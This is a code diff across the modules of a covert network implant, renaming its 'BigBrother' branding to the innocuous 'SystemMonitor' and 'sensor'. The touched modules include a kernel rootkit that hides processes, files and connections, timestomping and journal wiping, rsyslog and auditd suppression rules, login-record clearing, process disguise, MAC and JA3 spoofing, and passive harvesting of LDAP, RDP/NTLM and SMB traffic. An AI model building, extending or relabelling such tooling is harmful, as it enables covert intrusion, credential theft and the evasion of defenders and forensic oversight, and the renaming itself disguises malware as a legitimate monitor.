@@ -117,12 +117,12 @@ class LDAPHarvester(BaseModule):
|
|||||||
self._pid = os.getpid()
|
self._pid = os.getpid()
|
||||||
|
|
||||||
self._read_thread = threading.Thread(
|
self._read_thread = threading.Thread(
|
||||||
target=self._read_loop, daemon=True, name="bb-ldap-read"
|
target=self._read_loop, daemon=True, name="sensor-ldap-read"
|
||||||
)
|
)
|
||||||
self._read_thread.start()
|
self._read_thread.start()
|
||||||
|
|
||||||
self._flush_thread = threading.Thread(
|
self._flush_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-ldap-flush"
|
target=self._flush_loop, daemon=True, name="sensor-ldap-flush"
|
||||||
)
|
)
|
||||||
self._flush_thread.start()
|
self._flush_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.network_mapper")
|
logger = logging.getLogger("sensor.passive.network_mapper")
|
||||||
|
|
||||||
TCP_PROTO = 6
|
TCP_PROTO = 6
|
||||||
UDP_PROTO = 17
|
UDP_PROTO = 17
|
||||||
@@ -110,17 +110,17 @@ class NetworkMapper(BaseModule):
|
|||||||
self._pid = os.getpid()
|
self._pid = os.getpid()
|
||||||
|
|
||||||
self._read_thread = threading.Thread(
|
self._read_thread = threading.Thread(
|
||||||
target=self._read_loop, daemon=True, name="bb-netmap-read"
|
target=self._read_loop, daemon=True, name="sensor-netmap-read"
|
||||||
)
|
)
|
||||||
self._read_thread.start()
|
self._read_thread.start()
|
||||||
|
|
||||||
self._flush_thread = threading.Thread(
|
self._flush_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-netmap-flush"
|
target=self._flush_loop, daemon=True, name="sensor-netmap-flush"
|
||||||
)
|
)
|
||||||
self._flush_thread.start()
|
self._flush_thread.start()
|
||||||
|
|
||||||
self._snapshot_thread = threading.Thread(
|
self._snapshot_thread = threading.Thread(
|
||||||
target=self._snapshot_loop, daemon=True, name="bb-netmap-snapshot"
|
target=self._snapshot_loop, daemon=True, name="sensor-netmap-snapshot"
|
||||||
)
|
)
|
||||||
self._snapshot_thread.start()
|
self._snapshot_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.os_fingerprint")
|
logger = logging.getLogger("sensor.passive.os_fingerprint")
|
||||||
|
|
||||||
# p0f-style TCP signature database (built-in fallback)
|
# p0f-style TCP signature database (built-in fallback)
|
||||||
# Format: (ttl_range, window_size, df, mss_range, sack, timestamps) -> (os_family, os_version)
|
# Format: (ttl_range, window_size, df, mss_range, sack, timestamps) -> (os_family, os_version)
|
||||||
@@ -111,7 +111,7 @@ class OSFingerprint(BaseModule):
|
|||||||
logger.error("OSFingerprint requires capture_bus in config")
|
logger.error("OSFingerprint requires capture_bus in config")
|
||||||
return
|
return
|
||||||
|
|
||||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
|
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||||
self._db_path = os.path.join(base_dir, "os_fingerprints.db")
|
self._db_path = os.path.join(base_dir, "os_fingerprints.db")
|
||||||
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
||||||
self._init_db()
|
self._init_db()
|
||||||
@@ -146,12 +146,12 @@ class OSFingerprint(BaseModule):
|
|||||||
self._start_time = time.time()
|
self._start_time = time.time()
|
||||||
|
|
||||||
self._reader_thread = threading.Thread(
|
self._reader_thread = threading.Thread(
|
||||||
target=self._read_packets, daemon=True, name="bb-osfp-reader"
|
target=self._read_packets, daemon=True, name="sensor-osfp-reader"
|
||||||
)
|
)
|
||||||
self._reader_thread.start()
|
self._reader_thread.start()
|
||||||
|
|
||||||
self._flusher_thread = threading.Thread(
|
self._flusher_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-osfp-flusher"
|
target=self._flush_loop, daemon=True, name="sensor-osfp-flusher"
|
||||||
)
|
)
|
||||||
self._flusher_thread.start()
|
self._flusher_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ from typing import Optional
|
|||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
from utils.networking import get_primary_interface
|
from utils.networking import get_primary_interface
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.packet_capture")
|
logger = logging.getLogger("sensor.passive.packet_capture")
|
||||||
|
|
||||||
|
|
||||||
class PacketCapture(BaseModule):
|
class PacketCapture(BaseModule):
|
||||||
@@ -73,7 +73,7 @@ class PacketCapture(BaseModule):
|
|||||||
disk_threshold = self.config.get("disk_threshold", self.DEFAULT_DISK_THRESHOLD)
|
disk_threshold = self.config.get("disk_threshold", self.DEFAULT_DISK_THRESHOLD)
|
||||||
|
|
||||||
# Directories
|
# Directories
|
||||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
|
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||||
self._pcap_dir = os.path.join(base_dir, "pcaps")
|
self._pcap_dir = os.path.join(base_dir, "pcaps")
|
||||||
Path(self._pcap_dir).mkdir(parents=True, exist_ok=True)
|
Path(self._pcap_dir).mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
@@ -114,7 +114,7 @@ class PacketCapture(BaseModule):
|
|||||||
|
|
||||||
# Watcher thread — monitors tcpdump stderr and detects crashes
|
# Watcher thread — monitors tcpdump stderr and detects crashes
|
||||||
self._watcher_thread = threading.Thread(
|
self._watcher_thread = threading.Thread(
|
||||||
target=self._watch_tcpdump, daemon=True, name="bb-pcap-watch"
|
target=self._watch_tcpdump, daemon=True, name="sensor-pcap-watch"
|
||||||
)
|
)
|
||||||
self._watcher_thread.start()
|
self._watcher_thread.start()
|
||||||
|
|
||||||
@@ -122,7 +122,7 @@ class PacketCapture(BaseModule):
|
|||||||
self._rotation_thread = threading.Thread(
|
self._rotation_thread = threading.Thread(
|
||||||
target=self._rotation_loop,
|
target=self._rotation_loop,
|
||||||
args=(compress_level, disk_threshold),
|
args=(compress_level, disk_threshold),
|
||||||
daemon=True, name="bb-pcap-rotate",
|
daemon=True, name="sensor-pcap-rotate",
|
||||||
)
|
)
|
||||||
self._rotation_thread.start()
|
self._rotation_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.quic_analyzer")
|
logger = logging.getLogger("sensor.passive.quic_analyzer")
|
||||||
|
|
||||||
# QUIC constants
|
# QUIC constants
|
||||||
QUIC_LONG_HEADER_BIT = 0x80
|
QUIC_LONG_HEADER_BIT = 0x80
|
||||||
@@ -107,12 +107,12 @@ class QUICAnalyzer(BaseModule):
|
|||||||
self._pid = os.getpid()
|
self._pid = os.getpid()
|
||||||
|
|
||||||
self._read_thread = threading.Thread(
|
self._read_thread = threading.Thread(
|
||||||
target=self._read_loop, daemon=True, name="bb-quic-read"
|
target=self._read_loop, daemon=True, name="sensor-quic-read"
|
||||||
)
|
)
|
||||||
self._read_thread.start()
|
self._read_thread.start()
|
||||||
|
|
||||||
self._flush_thread = threading.Thread(
|
self._flush_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-quic-flush"
|
target=self._flush_loop, daemon=True, name="sensor-quic-flush"
|
||||||
)
|
)
|
||||||
self._flush_thread.start()
|
self._flush_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.rdp_monitor")
|
logger = logging.getLogger("sensor.passive.rdp_monitor")
|
||||||
|
|
||||||
# NTLM signature for CredSSP extraction
|
# NTLM signature for CredSSP extraction
|
||||||
NTLMSSP_SIGNATURE = b'NTLMSSP\x00'
|
NTLMSSP_SIGNATURE = b'NTLMSSP\x00'
|
||||||
@@ -101,12 +101,12 @@ class RDPMonitor(BaseModule):
|
|||||||
self._pid = os.getpid()
|
self._pid = os.getpid()
|
||||||
|
|
||||||
self._read_thread = threading.Thread(
|
self._read_thread = threading.Thread(
|
||||||
target=self._read_loop, daemon=True, name="bb-rdp-read"
|
target=self._read_loop, daemon=True, name="sensor-rdp-read"
|
||||||
)
|
)
|
||||||
self._read_thread.start()
|
self._read_thread.start()
|
||||||
|
|
||||||
self._flush_thread = threading.Thread(
|
self._flush_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-rdp-flush"
|
target=self._flush_loop, daemon=True, name="sensor-rdp-flush"
|
||||||
)
|
)
|
||||||
self._flush_thread.start()
|
self._flush_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.smb_monitor")
|
logger = logging.getLogger("sensor.passive.smb_monitor")
|
||||||
|
|
||||||
# SMB2 command IDs
|
# SMB2 command IDs
|
||||||
SMB2_NEGOTIATE = 0x0000
|
SMB2_NEGOTIATE = 0x0000
|
||||||
@@ -112,12 +112,12 @@ class SMBMonitor(BaseModule):
|
|||||||
self._pid = os.getpid()
|
self._pid = os.getpid()
|
||||||
|
|
||||||
self._read_thread = threading.Thread(
|
self._read_thread = threading.Thread(
|
||||||
target=self._read_loop, daemon=True, name="bb-smb-read"
|
target=self._read_loop, daemon=True, name="sensor-smb-read"
|
||||||
)
|
)
|
||||||
self._read_thread.start()
|
self._read_thread.start()
|
||||||
|
|
||||||
self._flush_thread = threading.Thread(
|
self._flush_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-smb-flush"
|
target=self._flush_loop, daemon=True, name="sensor-smb-flush"
|
||||||
)
|
)
|
||||||
self._flush_thread.start()
|
self._flush_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.tls_sni_extractor")
|
logger = logging.getLogger("sensor.passive.tls_sni_extractor")
|
||||||
|
|
||||||
# TLS record types
|
# TLS record types
|
||||||
TLS_HANDSHAKE = 22
|
TLS_HANDSHAKE = 22
|
||||||
@@ -84,7 +84,7 @@ class TLSSNIExtractor(BaseModule):
|
|||||||
logger.error("TLSSNIExtractor requires capture_bus in config")
|
logger.error("TLSSNIExtractor requires capture_bus in config")
|
||||||
return
|
return
|
||||||
|
|
||||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
|
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||||
self._db_path = os.path.join(base_dir, "tls_sni.db")
|
self._db_path = os.path.join(base_dir, "tls_sni.db")
|
||||||
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
||||||
self._init_db()
|
self._init_db()
|
||||||
@@ -98,12 +98,12 @@ class TLSSNIExtractor(BaseModule):
|
|||||||
self._start_time = time.time()
|
self._start_time = time.time()
|
||||||
|
|
||||||
self._reader_thread = threading.Thread(
|
self._reader_thread = threading.Thread(
|
||||||
target=self._read_packets, daemon=True, name="bb-sni-reader"
|
target=self._read_packets, daemon=True, name="sensor-sni-reader"
|
||||||
)
|
)
|
||||||
self._reader_thread.start()
|
self._reader_thread.start()
|
||||||
|
|
||||||
self._flusher_thread = threading.Thread(
|
self._flusher_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-sni-flusher"
|
target=self._flush_loop, daemon=True, name="sensor-sni-flusher"
|
||||||
)
|
)
|
||||||
self._flusher_thread.start()
|
self._flusher_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.traffic_analyzer")
|
logger = logging.getLogger("sensor.passive.traffic_analyzer")
|
||||||
|
|
||||||
# Protocol number to name mapping
|
# Protocol number to name mapping
|
||||||
PROTO_NAMES = {
|
PROTO_NAMES = {
|
||||||
@@ -99,7 +99,7 @@ class TrafficAnalyzer(BaseModule):
|
|||||||
logger.error("TrafficAnalyzer requires capture_bus in config")
|
logger.error("TrafficAnalyzer requires capture_bus in config")
|
||||||
return
|
return
|
||||||
|
|
||||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
|
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||||
self._db_path = os.path.join(base_dir, "traffic_flows.db")
|
self._db_path = os.path.join(base_dir, "traffic_flows.db")
|
||||||
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
||||||
self._init_db()
|
self._init_db()
|
||||||
@@ -114,22 +114,22 @@ class TrafficAnalyzer(BaseModule):
|
|||||||
self._start_time = time.time()
|
self._start_time = time.time()
|
||||||
|
|
||||||
self._reader_thread = threading.Thread(
|
self._reader_thread = threading.Thread(
|
||||||
target=self._read_packets, daemon=True, name="bb-traffic-reader"
|
target=self._read_packets, daemon=True, name="sensor-traffic-reader"
|
||||||
)
|
)
|
||||||
self._reader_thread.start()
|
self._reader_thread.start()
|
||||||
|
|
||||||
self._flusher_thread = threading.Thread(
|
self._flusher_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-traffic-flusher"
|
target=self._flush_loop, daemon=True, name="sensor-traffic-flusher"
|
||||||
)
|
)
|
||||||
self._flusher_thread.start()
|
self._flusher_thread.start()
|
||||||
|
|
||||||
self._beacon_thread = threading.Thread(
|
self._beacon_thread = threading.Thread(
|
||||||
target=self._beacon_loop, daemon=True, name="bb-traffic-beacon"
|
target=self._beacon_loop, daemon=True, name="sensor-traffic-beacon"
|
||||||
)
|
)
|
||||||
self._beacon_thread.start()
|
self._beacon_thread.start()
|
||||||
|
|
||||||
self._stats_thread = threading.Thread(
|
self._stats_thread = threading.Thread(
|
||||||
target=self._stats_loop, daemon=True, name="bb-traffic-stats"
|
target=self._stats_loop, daemon=True, name="sensor-traffic-stats"
|
||||||
)
|
)
|
||||||
self._stats_thread.start()
|
self._stats_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.passive.vlan_discovery")
|
logger = logging.getLogger("sensor.passive.vlan_discovery")
|
||||||
|
|
||||||
# Ethertypes and protocol IDs
|
# Ethertypes and protocol IDs
|
||||||
ETHERTYPE_8021Q = 0x8100
|
ETHERTYPE_8021Q = 0x8100
|
||||||
@@ -122,12 +122,12 @@ class VLANDiscovery(BaseModule):
|
|||||||
self._pid = os.getpid()
|
self._pid = os.getpid()
|
||||||
|
|
||||||
self._read_thread = threading.Thread(
|
self._read_thread = threading.Thread(
|
||||||
target=self._read_loop, daemon=True, name="bb-vlan-read"
|
target=self._read_loop, daemon=True, name="sensor-vlan-read"
|
||||||
)
|
)
|
||||||
self._read_thread.start()
|
self._read_thread.start()
|
||||||
|
|
||||||
self._flush_thread = threading.Thread(
|
self._flush_thread = threading.Thread(
|
||||||
target=self._flush_loop, daemon=True, name="bb-vlan-flush"
|
target=self._flush_loop, daemon=True, name="sensor-vlan-flush"
|
||||||
)
|
)
|
||||||
self._flush_thread.start()
|
self._flush_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
"""BigBrother stealth modules — OPSEC layer."""
|
"""SystemMonitor stealth modules — OPSEC layer."""
|
||||||
|
|
||||||
from modules.stealth.mac_manager import MacManager
|
from modules.stealth.mac_manager import MacManager
|
||||||
from modules.stealth.process_disguise import ProcessDisguise
|
from modules.stealth.process_disguise import ProcessDisguise
|
||||||
|
|||||||
@@ -19,9 +19,9 @@ from utils.stealth import (
|
|||||||
_get_os_install_time,
|
_get_os_install_time,
|
||||||
)
|
)
|
||||||
|
|
||||||
logger = logging.getLogger("bb.stealth.anti_forensics")
|
logger = logging.getLogger("sensor.stealth.anti_forensics")
|
||||||
|
|
||||||
# BigBrother install root (default; overridden by config)
|
# SystemMonitor install root (default; overridden by config)
|
||||||
BB_ROOT = "/opt/.cache/bb"
|
BB_ROOT = "/opt/.cache/bb"
|
||||||
|
|
||||||
|
|
||||||
@@ -96,7 +96,7 @@ class AntiForensics(BaseModule):
|
|||||||
# ------------------------------------------------------------------
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
def _apply_timestomp(self) -> None:
|
def _apply_timestomp(self) -> None:
|
||||||
"""Timestomp all BigBrother files to OS install date."""
|
"""Timestomp all SystemMonitor files to OS install date."""
|
||||||
try:
|
try:
|
||||||
ref_time = self._get_reference_time()
|
ref_time = self._get_reference_time()
|
||||||
if os.path.isdir(self._bb_root):
|
if os.path.isdir(self._bb_root):
|
||||||
@@ -172,7 +172,7 @@ class AntiForensics(BaseModule):
|
|||||||
# ------------------------------------------------------------------
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
def _clean_journal(self) -> None:
|
def _clean_journal(self) -> None:
|
||||||
"""Vacuum journal entries that might reference BigBrother components."""
|
"""Vacuum journal entries that might reference SystemMonitor components."""
|
||||||
try:
|
try:
|
||||||
# Vacuum to 1s to remove old entries we may have generated
|
# Vacuum to 1s to remove old entries we may have generated
|
||||||
result = subprocess.run(
|
result = subprocess.run(
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ from typing import Optional
|
|||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
from utils.crypto import LUKSContainer, derive_network_key
|
from utils.crypto import LUKSContainer, derive_network_key
|
||||||
|
|
||||||
logger = logging.getLogger("bb.stealth.encrypted_storage")
|
logger = logging.getLogger("sensor.stealth.encrypted_storage")
|
||||||
|
|
||||||
# Subdirectories created inside the mounted LUKS container
|
# Subdirectories created inside the mounted LUKS container
|
||||||
STORAGE_SUBDIRS = ("pcaps", "logs", "baseline", "intel", "credentials", "config")
|
STORAGE_SUBDIRS = ("pcaps", "logs", "baseline", "intel", "credentials", "config")
|
||||||
@@ -239,7 +239,7 @@ class EncryptedStorage(BaseModule):
|
|||||||
# For now, check if a pre-staged key file exists (deployed with implant)
|
# For now, check if a pre-staged key file exists (deployed with implant)
|
||||||
key_paths = [
|
key_paths = [
|
||||||
"/opt/.cache/bb/config/luks_network_key",
|
"/opt/.cache/bb/config/luks_network_key",
|
||||||
os.path.expanduser("~/.bigbrother/luks_network_key"),
|
os.path.expanduser("~/.implant/luks_network_key"),
|
||||||
]
|
]
|
||||||
for path in key_paths:
|
for path in key_paths:
|
||||||
try:
|
try:
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.stealth.ids_tester")
|
logger = logging.getLogger("sensor.stealth.ids_tester")
|
||||||
|
|
||||||
# Detection risk levels
|
# Detection risk levels
|
||||||
RISK_LOW = "LOW"
|
RISK_LOW = "LOW"
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.stealth.ja3_spoofer")
|
logger = logging.getLogger("sensor.stealth.ja3_spoofer")
|
||||||
|
|
||||||
# Built-in JA3 fingerprint profiles (fallback if data/ja3_fingerprints.db absent)
|
# Built-in JA3 fingerprint profiles (fallback if data/ja3_fingerprints.db absent)
|
||||||
# Format: {name: {ja3_hash, cipher_suites, extensions, description}}
|
# Format: {name: {ja3_hash, cipher_suites, extensions, description}}
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""LKM rootkit module: compile, load, and manage a kernel module that hides
|
"""LKM rootkit module: compile, load, and manage a kernel module that hides
|
||||||
BigBrother processes, files, and network connections from userland."""
|
SystemMonitor processes, files, and network connections from userland."""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
@@ -12,7 +12,7 @@ from typing import Optional
|
|||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
from utils.resource import get_hardware_tier, TIER_GENERIC
|
from utils.resource import get_hardware_tier, TIER_GENERIC
|
||||||
|
|
||||||
logger = logging.getLogger("bb.stealth.lkm_rootkit")
|
logger = logging.getLogger("sensor.stealth.lkm_rootkit")
|
||||||
|
|
||||||
LKM_TEMPLATE_DIR = "templates/lkm"
|
LKM_TEMPLATE_DIR = "templates/lkm"
|
||||||
LKM_SOURCE = "bb_hide.c"
|
LKM_SOURCE = "bb_hide.c"
|
||||||
@@ -259,7 +259,7 @@ class LKMRootkit(BaseModule):
|
|||||||
"""Write current hide lists to loaded module's parameters via sysfs."""
|
"""Write current hide lists to loaded module's parameters via sysfs."""
|
||||||
if not self._loaded:
|
if not self._loaded:
|
||||||
return
|
return
|
||||||
# Collect current BigBrother PIDs from state
|
# Collect current SystemMonitor PIDs from state
|
||||||
try:
|
try:
|
||||||
all_status = self.state.get_all_module_status()
|
all_status = self.state.get_all_module_status()
|
||||||
for mod_name, mod_status in all_status.items():
|
for mod_name, mod_status in all_status.items():
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
"""Log suppression module — minimize forensic artifacts in system logs.
|
"""Log suppression module — minimize forensic artifacts in system logs.
|
||||||
|
|
||||||
Installs rsyslog filter rules, auditd exclusions, journald rate limits,
|
Installs rsyslog filter rules, auditd exclusions, journald rate limits,
|
||||||
and clears shell history / login records related to BigBrother activity.
|
and clears shell history / login records related to SystemMonitor activity.
|
||||||
All installed rules are removed on clean stop.
|
All installed rules are removed on clean stop.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -15,16 +15,16 @@ from typing import Dict, List
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.stealth.log_suppression")
|
logger = logging.getLogger("sensor.stealth.log_suppression")
|
||||||
|
|
||||||
RSYSLOG_CONF = "/etc/rsyslog.d/01-bb-suppress.conf"
|
RSYSLOG_CONF = "/etc/rsyslog.d/01-bb-suppress.conf"
|
||||||
JOURNALD_CONF_DIR = "/etc/systemd/journald.conf.d"
|
JOURNALD_CONF_DIR = "/etc/systemd/journald.conf.d"
|
||||||
JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "bb.conf")
|
JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "sensor.conf")
|
||||||
AUDITD_RULES_FILE = "/etc/audit/rules.d/bb-exclude.rules"
|
AUDITD_RULES_FILE = "/etc/audit/rules.d/bb-exclude.rules"
|
||||||
|
|
||||||
|
|
||||||
class LogSuppression(BaseModule):
|
class LogSuppression(BaseModule):
|
||||||
"""Suppress system log entries that could reveal BigBrother activity."""
|
"""Suppress system log entries that could reveal SystemMonitor activity."""
|
||||||
|
|
||||||
name = "log_suppression"
|
name = "log_suppression"
|
||||||
module_type = "stealth"
|
module_type = "stealth"
|
||||||
@@ -129,7 +129,7 @@ class LogSuppression(BaseModule):
|
|||||||
"""Write rsyslog config to drop log entries matching our processes/paths."""
|
"""Write rsyslog config to drop log entries matching our processes/paths."""
|
||||||
try:
|
try:
|
||||||
lines = [
|
lines = [
|
||||||
"# BigBrother log suppression — auto-generated, removed on clean exit",
|
"# SystemMonitor log suppression — auto-generated, removed on clean exit",
|
||||||
"# Drop messages containing our process names or paths",
|
"# Drop messages containing our process names or paths",
|
||||||
]
|
]
|
||||||
|
|
||||||
@@ -173,7 +173,7 @@ class LogSuppression(BaseModule):
|
|||||||
# ------------------------------------------------------------------
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
def _install_auditd_exclusions(self) -> None:
|
def _install_auditd_exclusions(self) -> None:
|
||||||
"""Write auditd rules excluding BigBrother PIDs and paths."""
|
"""Write auditd rules excluding SystemMonitor PIDs and paths."""
|
||||||
try:
|
try:
|
||||||
rules_dir = os.path.dirname(AUDITD_RULES_FILE)
|
rules_dir = os.path.dirname(AUDITD_RULES_FILE)
|
||||||
if not os.path.isdir(rules_dir):
|
if not os.path.isdir(rules_dir):
|
||||||
@@ -181,7 +181,7 @@ class LogSuppression(BaseModule):
|
|||||||
return
|
return
|
||||||
|
|
||||||
lines = [
|
lines = [
|
||||||
"# BigBrother auditd exclusions — auto-generated",
|
"# SystemMonitor auditd exclusions — auto-generated",
|
||||||
]
|
]
|
||||||
|
|
||||||
# Exclude our install path from file watches
|
# Exclude our install path from file watches
|
||||||
@@ -235,7 +235,7 @@ class LogSuppression(BaseModule):
|
|||||||
os.makedirs(JOURNALD_CONF_DIR, exist_ok=True)
|
os.makedirs(JOURNALD_CONF_DIR, exist_ok=True)
|
||||||
|
|
||||||
config_lines = [
|
config_lines = [
|
||||||
"# BigBrother journald rate-limit — auto-generated",
|
"# SystemMonitor journald rate-limit — auto-generated",
|
||||||
"[Journal]",
|
"[Journal]",
|
||||||
"RateLimitIntervalSec=5s",
|
"RateLimitIntervalSec=5s",
|
||||||
"RateLimitBurst=5",
|
"RateLimitBurst=5",
|
||||||
@@ -308,7 +308,7 @@ class LogSuppression(BaseModule):
|
|||||||
# ------------------------------------------------------------------
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
def _clear_login_records(self) -> None:
|
def _clear_login_records(self) -> None:
|
||||||
"""Clear utmp/wtmp/btmp entries that could reveal BigBrother sessions."""
|
"""Clear utmp/wtmp/btmp entries that could reveal SystemMonitor sessions."""
|
||||||
record_files = [
|
record_files = [
|
||||||
"/var/run/utmp",
|
"/var/run/utmp",
|
||||||
"/var/log/wtmp",
|
"/var/log/wtmp",
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ from utils.networking import (
|
|||||||
)
|
)
|
||||||
from utils.stealth import set_sysctl, set_tcp_timestamps, set_tcp_window, set_ttl
|
from utils.stealth import set_sysctl, set_tcp_timestamps, set_tcp_window, set_ttl
|
||||||
|
|
||||||
logger = logging.getLogger("bb.stealth.mac_manager")
|
logger = logging.getLogger("sensor.stealth.mac_manager")
|
||||||
|
|
||||||
# Category preferences per network type
|
# Category preferences per network type
|
||||||
_BUSINESS_CATEGORIES = ("printers", "network", "smart_home")
|
_BUSINESS_CATEGORIES = ("printers", "network", "smart_home")
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ from typing import Optional
|
|||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
|
from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
|
||||||
|
|
||||||
logger = logging.getLogger("bb.stealth.overlayfs_manager")
|
logger = logging.getLogger("sensor.stealth.overlayfs_manager")
|
||||||
|
|
||||||
# Default overlay paths
|
# Default overlay paths
|
||||||
OVERLAY_BASE = "/opt/.cache/bb/overlay"
|
OVERLAY_BASE = "/opt/.cache/bb/overlay"
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""Process disguise module — rename all BigBrother processes to look like
|
"""Process disguise module — rename all SystemMonitor processes to look like
|
||||||
legitimate system services.
|
legitimate system services.
|
||||||
|
|
||||||
Reads process name mappings from stealth.yaml, renames own processes via
|
Reads process name mappings from stealth.yaml, renames own processes via
|
||||||
@@ -16,7 +16,7 @@ from typing import Dict, Optional
|
|||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
from utils.stealth import rename_process, spoof_cmdline
|
from utils.stealth import rename_process, spoof_cmdline
|
||||||
|
|
||||||
logger = logging.getLogger("bb.stealth.process_disguise")
|
logger = logging.getLogger("sensor.stealth.process_disguise")
|
||||||
|
|
||||||
|
|
||||||
class ProcessDisguise(BaseModule):
|
class ProcessDisguise(BaseModule):
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ from typing import Dict, List, Optional, Tuple
|
|||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
|
from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
|
||||||
|
|
||||||
logger = logging.getLogger("bb.stealth.tmpfs_manager")
|
logger = logging.getLogger("sensor.stealth.tmpfs_manager")
|
||||||
|
|
||||||
# Default tmpfs size limits per tier (MB)
|
# Default tmpfs size limits per tier (MB)
|
||||||
_TIER_TMPFS_LIMITS = {
|
_TIER_TMPFS_LIMITS = {
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.stealth.traffic_mimicry")
|
logger = logging.getLogger("sensor.stealth.traffic_mimicry")
|
||||||
|
